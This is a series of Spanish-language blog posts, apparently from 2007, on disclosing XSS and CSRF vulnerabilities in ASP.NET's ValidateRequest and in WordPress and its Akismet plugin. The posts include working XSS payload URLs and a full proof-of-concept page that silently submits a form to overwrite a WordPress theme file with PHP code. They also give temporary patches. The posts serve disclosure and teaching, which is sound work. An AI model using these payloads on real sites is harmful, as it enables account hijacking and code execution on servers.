Categories
.NET ASP.NET Seguridad Web XSS

ValidateRequest no es suficiente para protegernos de ataques XSS

En una entrada anterior ya había advertido que la validación que ofrece la propiedad ValidateRequest es muy básica como para sólo confiar en ésta. Para probar esta afirmación tomaremos como ejemplo el siguiente código que seguramente muchos escribimos alguna vez y que otros todavía lo siguen haciendo 🙁

html:

<%@ Page Language="C#" AutoEventWireup="true" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <%= Request.Params["Mensaje"] %>
       
        <a href="<%= Request.Params["Uri"] %>">¡Hola!</a>
    </div>
    </form>
</body>
</html>

Conseguir ejecutar javascript usando el parámetro Mensaje, es un poco fastidioso, porque hay que evitar usar las cadenas <[a-z!] para evitar una excepción del tipo HttpRequestValidationException, por ejemplo para http://aspspider.org/buayacorp/xss.aspx?Mensaje=<script> se produce el siguiente error:

A potentially dangerous Request.QueryString value was detected from the client (Mensaje="<script>").

Description: Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.

Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.QueryString value was detected from the client (Mensaje="<script>").

Revisando uno de los hilos de los foros de sla.ckers.org, uno de los miembros comentó que -para variar- Internet Explorer interpreta los atributos que se ponen en el cierre de algunas etiquetas HTML (</a style=xss:expression(alert(/XSS/))>). Aprovechando este vector de ataque, entonces un ejemplo válido para conseguir ejecutar javascript es http://aspspider.org/buayacorp/xss.aspx?Mensaje=</a style=xss:expression(alert(/XSS/))>.

En el segundo caso que involucra al parámetro Uri es más sencillo, puesto que no se necesita de ningún caracter < para poder ejecutar javascript, para la siguiente dirección http://aspspider.org/buayacorp/xss.aspx?Uri=" style=xss:expression(alert(/XSS/)) " se genera:

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
        Untitled Page
</title></head>
<body>
    <form name="form1" method="post" action="xss.aspx?Uri=%22+style%3dxss%3aexpression(alert(%2fXSS%2f))+%22" id="form1">
<div>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNDEyMDg2NjZkZCXpsuyzajePI7u8zKPoDxOfXJHy" />
</div>

    <div>
       
       
        <a href="" style=xss:expression(alert(/XSS/)) "">Click</a>

    </div>
    </form>
</body>
</html>

Si entre la audiencia todavía existen desarrolladores que confían en la validación por omisión que trae ASP.NET, es hora de empezar a utilizar los métodos que trae la clase HttpUtility o mejor aún el denominado Microsoft Anti-Cross Site Scripting Library 😉

Categories
CSRF Seguridad Web WordPress XSS

WordPress, XSS y CSRF – Final

Puesto que el anterior quiz ya fue resuelto, pongo la prueba de concepto que permite sobreescribir cualquier archivo del tema que esté usando una determinada instalación de WordPress (el que viene por defecto para este ejemplo), esto funcionará siempre y cuando el usuario actual tenga los permisos suficientes como para modificar los archivos del tema.

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">     
<head>
        <title>WordPress XSS PoC</title>
</head>
<body id="main">

        <form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
                <p>
                        <textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea>
                </p>
                <p>
                        <input type="hidden" name="action" value="update" />
                        <input type="hidden" name="file" value="wp-content/themes/default/index.php" />  
                </p>
        </form> 
        <script type="text/javascript">
        // <![CDATA[
                document.forms[0].submit();
        // ]]>

        </script>
</body>
</html>

El código que genera una versión vulnerable de WordPress para la prueba de concepto es el siguiente:

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
        <title>WordPress Confirmation</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <link rel="stylesheet" href="install.css" type="text/css" />
</head>
<body>
        <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
        <p>     <form method='post' action='theme-editor.php'><image src=a onerror=javascript:document.forms[0].submit()><a'.php'>

                <input type='hidden' name='action' value='update' />
                <input type='hidden' name='newcontent' value='<?php echo "owned! " . date('F j, y'); ?>' />
                <input type='hidden' name='file' value='wp-content/themes/default/index.php' />
                <input type='hidden' name='do' value='Do!' />
                <input type='hidden' name='_wpnonce' value='1d0bfa4c4e' />
                <div id='message' class='confirm fade'>
                <p>Are you sure you want to edit this theme file: "wp-content/themes/default/index.phpWordPress Default"?</p>

                <p><a href='http://localhost/wordpress/wp-admin'>No</a> <input type='submit' value='Yes' /></p>
                </div>
        </form>
</body>
</html></p>
</body>
</html>

La parte más interesante de la prueba de concepto, es que se hace uso de una etiqueta HTML que no necesita cierre y que además permite tener un pequeño tiempo de gracia para que cargue la página y se envíen todos los campos del formulario, es por este motivo que el código javascript se ubica en el evento onerror (soportado por la mayoría de navegadores) de la etiqueta IMG.

Para aprovechar esta vulnerabilidad sin que la víctima se de cuenta, podemos hacer uso de CSRF, esto es cargar el código mostrado desde un iframe e incitar al usuario afectado para que visite una página confiable que contenga el elemento mencionado.

Categories
PHP Quiz Seguridad Web WordPress XSS

WordPress, XSS y CSRF – Parte 2

En la primera parte vimos un poco de los problemas que tiene usar $_SERVER['PHP_SELF'] sin ningún tipo de validación. Para esta segunda parte, he preparado un pequeño quiz que básicamente refleja los problemas reportados en WordPress.

La siguiente porción de código es una versión resumida del contenido de los archivos wp-includes/vars.php y wp-includes/functions.php (función wp_nonce_ays):

php:

<?php

$PHP_SELF = $_SERVER['PHP_SELF'];
if ( preg_match('#([^/]+\.php)$#', $PHP_SELF, $self_matches) ) {
        $pagina_actual = $self_matches[1];
} else {
        $pagina_actual = 'wp.php';
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">     
<head>
        <title>Wordpress demo</title>
</head>
<body id="main">
        <form action="<?php echo $pagina_actual; ?>" method="post">
                <input name="foo" id="foo" type="text" tabindex="0" />
                <input name="postback" id="postback" type="submit" value="Enviar" tabindex="1" />
        </form>
</body>
</html>

¿Algún ejemplo que aproveche el bug que existe en el código de prueba? (de preferencia que funcione en varios navegadores)

Nota: Por motivos de seguridad no voy a facilitarles una página de prueba, puesto que por más que ponga los ejemplos en un subdominio, éstos son accesibles también desde el dominio principal, haciendo vulnerable a XSS mi instalación de WordPress 😀 --quise usar Dreamhost, pero para este caso no sirve.

Categories
Seguridad Web WordPress XSS

Más vulnerabilidades XSS en WordPress

La primera de ellas afecta a la función wp_title(), en el que el parámetro year no es filtrado adecuadamente, para esta vulnerabilidad ya existe un parche disponible en la versión de desarrollo.

code:

http://vulnerable/?year=</title><script>alert("XSS")</script>

Sobre el segundo fallo, reportado hace algunas horas por otra persona -pero sobre el cuál tenía conocimiento e inclusive había preparado un pequeño exploit la semana anterior 🙂 , es bastante más peligroso dependiendo de las condiciones en que se desarrollaría el ataque. Al igual que menéame hace algún tiempo, wordpress es vulnerable por el mal uso de la variable $_SERVER['PHP_SELF'].

Para reproducir este bug en la página principal, en general depende de la estructura de URL's que hayan definido para vuestras entradas, pero este problema también se puede reproducir en el panel de administración, donde puede tener consecuencias mucho más peligrosas (como la ejecución remota de código PHP).

Por obvias razones, todavía no mostraré el exploit, pero si quieren quieren una solución temporal, pueden incluir el siguiente código después de la línea 49 en wp-settings.php.

php:

$PHP_SELF = $_SERVER['PHP_SELF'] = htmlspecialchars(strip_tags($_SERVER['PHP_SELF']), ENT_QUOTES);

Cuando salga la corrección oficial para el segundo bug, mostraré el código vulnerable y todos los detalles del exploit 😉

Categories
Desarrollo de Software Seguridad Software Libre Web WordPress XSS

Múltiples vulnerabilidades XSS en WordPress y el plugin Akismet

Actualización (09/03/2007): Finalmente ya existe un parche oficial para el problema reportado el lunes pasado (Secunia Advisory SA24430, Ticket WordPress), como había comentado estos fallos afectaban a la rama 2.x y a la última versión de desarrollo, adicionalmente se han hecho correcciones en otros archivos más:

  • Rama 2.0
    • wp-admin/admin-functions.php (equivale al problema reportado en wp-admin/import/mt.php)
  • Rama 2.1
    • wp-admin/admin-functions.php
    • wp-admin/custom-header.php
    • wp-admin/upload-functions.php (no reportado previamente)
    • wp-includes/script-loader.php (no reportado previamente)
  • Versión en desarrollo
    • wp-admin/admin-functions.php
    • wp-admin/custom-header.php
    • wp-admin/upload-functions.php (no reportado previamente)
    • wp-includes/script-loader.php (no reportado previamente)

El fallo todavía persiste en el plugin akismet, hasta que lo solucionen pueden usar la versión modificada que puse hace unos días.


Desde los casi tres años que vengo usando WordPress, es la primera vez que veo que se reportan con mayor frecuencia fallos de seguridad en este CMS, imagino que esto se debe a la popularidad que alcanzó y también a nuevas características que se añaden en cada versión mayor.

Por otro lado, uno de los aspectos que hace de WordPress una aplicación muy extensible y a la vez bastante insegura son los plugins, puesto que los que alguna vez desarrollamos uno de éstos, probablemente hayamos introducido algún fallo de tipo SQL Injection, XSS o el menos tomado en cuenta CSRF, que entre otras cosas van a comprometer la instalación principal de WordPress e inclusive el servidor donde se aloja éste.

Me parece que alguien debería evangelizar la escritura de plugins seguros por el daño que pueden causar sin son mal programados -de nada sirve que los desarrolladores de este CMS se "rompan el lomo" añadiendo características para hacer más seguro el core, si en los plugins casi nadie más las usa por desconocimiento o falta de documentación.

En fin, hago el comentario anterior, puesto gran parte de los plugins que actualmente estoy usando, tienen problemas de seguridad* (XSS y CSRF principalmente), que en la medida de lo posible, intentaré reportarlo a sus autores.

Luego de la larga y aburrida queja, paso a comentar que existen vulnerabilidades de tipo XSS en los siguientes archivos.

  1. wp-admin/edit-comments.php: no se escapan parámetros arbitrarios al momento de realizar la paginación. Prueba de concepto.
  2. wp-admin/import/mt.php: no se escapa la url que se genera para el atributo action del formulario para importar un blog del tipo Movable Type. Prueba de concepto.
  3. wp-admin/custom-header.php: el mismo problema de validación de datos, no pongo una prueba de concepto porque no se puede acceder directamente a esta página.
  4. wp-content/plugins/akismet/akismet.php: el mismo problema del punto 1 al momento de paginar los comentarios de tipo spam, la prueba de concepto es parecida, sólo hay que agregar el parámetro page=akismet-admin.

Al momento de publicar esta entrada programada, seguramente ya habrá un parche oficial en la página de reporte de incidencias de WordPress (aunque hice el reporte a través de security@wordpress.org), pero para los impacientes pongo una solución temporal (**).

Actualización (06/03/2007): Los fallos en wp-admin/edit-comments.php y wp-admin/custom-header.php sólo se pueden reproducir a partir de la rama 2.1.x, el de wp-admin/import/mt.php y akismet me parece que a partir de la rama 2.0.x.

*: Si, también los plugins que desarrollé tienen estos problemas 😀 , pero estoy aprendiendo.
**: Los archivos modificados corresponden a la versión 2.1.2 (ver diferencias), úsenlo bajo vuestra responsabilidad.